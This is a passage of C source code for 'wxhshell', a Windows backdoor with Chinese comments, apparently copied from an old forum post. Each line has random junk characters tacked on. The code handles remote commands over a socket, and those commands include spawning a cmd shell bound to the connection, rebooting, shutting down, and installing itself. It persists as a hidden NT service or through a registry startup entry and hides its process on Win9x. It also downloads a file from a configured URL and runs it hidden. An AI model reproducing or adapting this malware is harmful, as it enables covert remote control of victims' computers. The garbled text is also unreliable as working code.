    switch(cmd[0]) { 9PA<g3z  
  wggB^ }~  
  // 帮助 3N-pND0>p  
  case '?': { 9Q}g Vqn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); akt7rnt?i  
    break; =]-z?O6^`  
  } U;WwEta ]  
  // 安装 /hu>MZ(\  
  case 'i': { \QC{38}  
    if(Install()) g hmn3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -e}(\  
    else &PRoT#,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J,)ytw]  
    break; `7w-_o %  
    } D-LOjMe  
  // 卸载 I=#`8deH(  
  case 'r': { tm5)x^7  
    if(Uninstall()) Lo_+W1+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GJZjQH-#P  
    else {icTfPR4E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d8vf kV B  
    break; Ad>81=Z  
    } jzJTV4&zjs  
  // 显示 wxhshell 所在路径 m N}szW,  
  case 'p': { {eI'0==  
    char svExeFile[MAX_PATH]; t4#gW$+^?H  
    strcpy(svExeFile,"\n\r"); KS93v9|  
      strcat(svExeFile,ExeFile); 3sdL\  
        send(wsh,svExeFile,strlen(svExeFile),0); qE[YZ(/f0&  
    break; vs=q<Uw)  
    } "lw|EpQk`  
  // 重启 |&JeJ0k>~  
  case 'b': { }}$@Tij19[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =xIZJ8e  
    if(Boot(REBOOT)) z/xPI)R[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j; y~vX b  
    else { M yHv>  
    closesocket(wsh); pg4pfi^__V  
    ExitThread(0); G2kU_  
    } M)+pH  
    break; -)oUb=Lk{  
    } [,Go*r  
  // 关机 }' AY#g  
  case 'd': { ; $80}TY '  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |EX=Rj*  
    if(Boot(SHUTDOWN)) }q@#M8b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i,*m(C@F}  
    else { 9;U?_   
    closesocket(wsh); t kj  
    ExitThread(0); N$]er'`  
    } XP?jsBE  
    break; 0?>(H(D^/  
    } zq{UkoME  
  // 获取shell I_v}}h{  
  case 's': { &N/t%q  
    CmdShell(wsh); B??07j  
    closesocket(wsh); j8&NscK)  
    ExitThread(0); $N)G:=M!s  
    break; zVw5(Tc  
  } `T[@-   
  // 退出 d6QrB"J`  
  case 'x': { dJ6fPB|k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (8h4\utA  
    CloseIt(wsh);  rvd $4l^  
    break; WqNXE)'  
    } %/ y=_G  
  // 离开 v5S9h[gT  
  case 'q': { YkWHI (p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h7"U1'b  
    closesocket(wsh); $q@d.Z>;  
    WSACleanup(); 7amVnR1f  
    exit(1); |cma7q}p  
    break; OY`B{jV-  
        } KN|<yF   
  } X"r)zCP+t  
  } EYq?NL='  
[UzD3VPg  
  // 提示信息 ~#*C,4m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *pJGp:{6V?  
} ^)gyKl:E'  
  } E:pk'G0bZ  
ja_8n["z  
  return; ]WDmx$"&e  
} ^b+>r  
RtMI[  
// shell模块句柄 v<!S_7h  
int CmdShell(SOCKET sock) kKSGC?d  
{ DQXUh#t\(]  
STARTUPINFO si; ?8V.iHJk  
ZeroMemory(&si,sizeof(si)); eTx9fx w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ux&"TkEp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W%g*sc*+  
PROCESS_INFORMATION ProcessInfo; I1E9E$m5\<  
char cmdline[]="cmd"; K4!-%d$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a'i Q("  
  return 0; 0!|d .jZI  
} 0 jth}\9  
/]TNEU,K  
// 自身启动模式 &ry*~"xoh  
int StartFromService(void) neI7VbH4  
{ |qUGB.Q  
typedef struct .Ix3wR9  
{ X=$Jp.  
  DWORD ExitStatus; _AX 9 Mu]  
  DWORD PebBaseAddress; 'V:Q :  
  DWORD AffinityMask; /88s~=  
  DWORD BasePriority; %PYl  
  ULONG UniqueProcessId; crM5&L9zF  
  ULONG InheritedFromUniqueProcessId; @N>7+ 4  
}   PROCESS_BASIC_INFORMATION; yV{B,T`W  
JnBUW"  
PROCNTQSIP NtQueryInformationProcess; SN{+ Pk  
iNA3Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +NPL.b|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %F>~2g?$  
!2LX+*;  
  HANDLE             hProcess; K&|h%4O  
  PROCESS_BASIC_INFORMATION pbi; RehmVkT  
^Pn|Q'{/p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O^@8Drgc  
  if(NULL == hInst ) return 0; p'/\eBhG]=  
At(88(y-W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AFz:%m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s:U:Dv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 03 @a G  
pr0X7 #_E5  
  if (!NtQueryInformationProcess) return 0; .{1$;K @  
H`JFXMa<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b' o]Y  
  if(!hProcess) return 0; x o"GNFh!  
+vh|m5"7I7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NfgXOLthM  
Hy.u6Jt*/  
  CloseHandle(hProcess); A5XMA|2_  
c?A$Y?|9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v"bWVc~H  
if(hProcess==NULL) return 0; T`bYidA  
,"%C.9a  
HMODULE hMod; Z,).)y#B  
char procName[255]; Ma^jy.  
unsigned long cbNeeded; _\WR3Q!V  
]at$ohS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (g##wa)L  
a1cX+{W  
  CloseHandle(hProcess); |`T(:ZKXZ2  
CY1WT  
if(strstr(procName,"services")) return 1; // 以服务启动 + Iyyk02V  
r6DLShP-Ur  
  return 0; // 注册表启动 Cy~IB [  
} FZe/3sY  
/7AHd ;  
// 主模块 #I/P9)4  
int StartWxhshell(LPSTR lpCmdLine) Qa{5 ]+E  
{ F5o8@ Ib]:  
  SOCKET wsl; = L!&Z  
BOOL val=TRUE; :R;w<Tbz"  
  int port=0; s6`E.Eevm  
  struct sockaddr_in door; P3zUaN \c  
Q"QRF5Ue  
  if(wscfg.ws_autoins) Install(); E2e"A I.h  
4>gfLK\R:  
port=atoi(lpCmdLine); 1b5Z^a<u  
&tyS6S+  
if(port<=0) port=wscfg.ws_port; Xoe|]@U`  
S,&LH-ps   
  WSADATA data; ;wv[';J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )@g[aRFa  
&`^(dO9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =^9h z3 j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -^@FZ R^Y  
  door.sin_family = AF_INET; }LUvh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F&M d+2  
  door.sin_port = htons(port); xIM,0xM2  
t>bzo6cj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I,?NYIG"(  
closesocket(wsl); %_!/4^smE  
return 1; W5|{A])N  
} %BI8m|6  
P3oYk_oW  
  if(listen(wsl,2) == INVALID_SOCKET) { &[ })FI  
closesocket(wsl); D;,p?]mgO~  
return 1; V6g*"e/8  
} T^A(v(^D  
  Wxhshell(wsl); *lfjsrPu  
  WSACleanup(); S^QEctXU  
q\fbrv%I4  
return 0; !sT>]e  
NFT:$>83`  
} )UR$VL  
Ia2WBs =  
// 以NT服务方式启动 e{)giJY9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z|g2Q#$-\S  
{ 49qa  
DWORD   status = 0; e@'x7Zzh  
  DWORD   specificError = 0xfffffff; 8F sQLeOE  
-)A:@+GF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +t7HlAXB#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {j wv+6]U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }QE.|.fA1  
  serviceStatus.dwWin32ExitCode     = 0; _}{KS, f]0  
  serviceStatus.dwServiceSpecificExitCode = 0; s< tG  
  serviceStatus.dwCheckPoint       = 0; _H| )g*]t  
  serviceStatus.dwWaitHint       = 0; 0#|Jhmv-zL  
bb_elmb)n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *l7 `C)  
  if (hServiceStatusHandle==0) return; `,O7S9]R+  
%Wtf24'o;v  
status = GetLastError(); gwaSgV$z  
  if (status!=NO_ERROR) KloX.y)q  
{ xU;SRB   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PMQTcQ^  
    serviceStatus.dwCheckPoint       = 0; MWwqon|  
    serviceStatus.dwWaitHint       = 0; 5<Kt"5Z%7  
    serviceStatus.dwWin32ExitCode     = status; `^#Rwn#  
    serviceStatus.dwServiceSpecificExitCode = specificError; h7]+#U]mi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AbNr]w&pXC  
    return; wBt7S!>G  
  } 4~ x>]  
=eA|gt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Sct  
  serviceStatus.dwCheckPoint       = 0; WsTIdr36x  
  serviceStatus.dwWaitHint       = 0; Q<>u) %92@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V lZ+x)E  
} U&"L9o`2  
m{>1# 1;$t  
// 处理NT服务事件,比如:启动、停止 uGAQt9$>_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tM LiG4 |7  
{ mxqZj8VuH  
switch(fdwControl) w/NT 5  
{ 05F/&+V  
case SERVICE_CONTROL_STOP: gV)/lDEM5  
  serviceStatus.dwWin32ExitCode = 0; %)i&|AV"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9@1n:X  
  serviceStatus.dwCheckPoint   = 0; zd$'8/Cq  
  serviceStatus.dwWaitHint     = 0; PE{<' K\g  
  { 9>{ml&$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "1|g eO|  
  } D*UxPm"pw  
  return; D <~UaHfk  
case SERVICE_CONTROL_PAUSE: c RI2$|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e# Y{YtE  
  break; IV~)BW leT  
case SERVICE_CONTROL_CONTINUE: a[ ;L+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KyIUz9$  
  break; U ]pE{ ^\w  
case SERVICE_CONTROL_INTERROGATE: _"*vj-{-y  
  break; 6[t(FcS  
}; *v#V%_o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -75mgOj.#  
} GX23c i  
z81dm  
// 标准应用程序主函数 2KO`+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jNbVp{%/S}  
{ cZ%tJ(&\7X  
!0p K8k&MG  
// 获取操作系统版本 L=54uCv Q  
OsIsNt=GetOsVer(); xd `MEOY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r5[pT(XT]  
Z|KDi `S  
  // 从命令行安装 zWPX  
  if(strpbrk(lpCmdLine,"iI")) Install(); (k+*0.T&?  
|t"CH'KJZ  
  // 下载执行文件 7Z9'Y?[m  
if(wscfg.ws_downexe) { ~jJ.E_i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6RIbsy  
  WinExec(wscfg.ws_filenam,SW_HIDE); %4` U' j  
} tvn o3"  
P cbhylKd  
if(!OsIsNt) { IAbQgBvUD  
// 如果时win9x,隐藏进程并且设置为注册表启动 *Dq ++  
HideProc(); DXj>u9*%  
StartWxhshell(lpCmdLine); Z[&FIG% tV  
} P )oNNY6}  
else Y(aUB$"  
  if(StartFromService()) PN99 R]K0g  
  // 以服务方式启动 ;t9!< L  
  StartServiceCtrlDispatcher(DispatchTable); UM0Ws|qx&  
else S;t`C~l\  
  // 普通方式启动 Y>C0 5?>  
  StartWxhshell(lpCmdLine); 9%21Q>Y?b  
g :B4zlKG  
return 0; }UcdkKq  
}
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只看该作者 1 发表于: 2006-10-10
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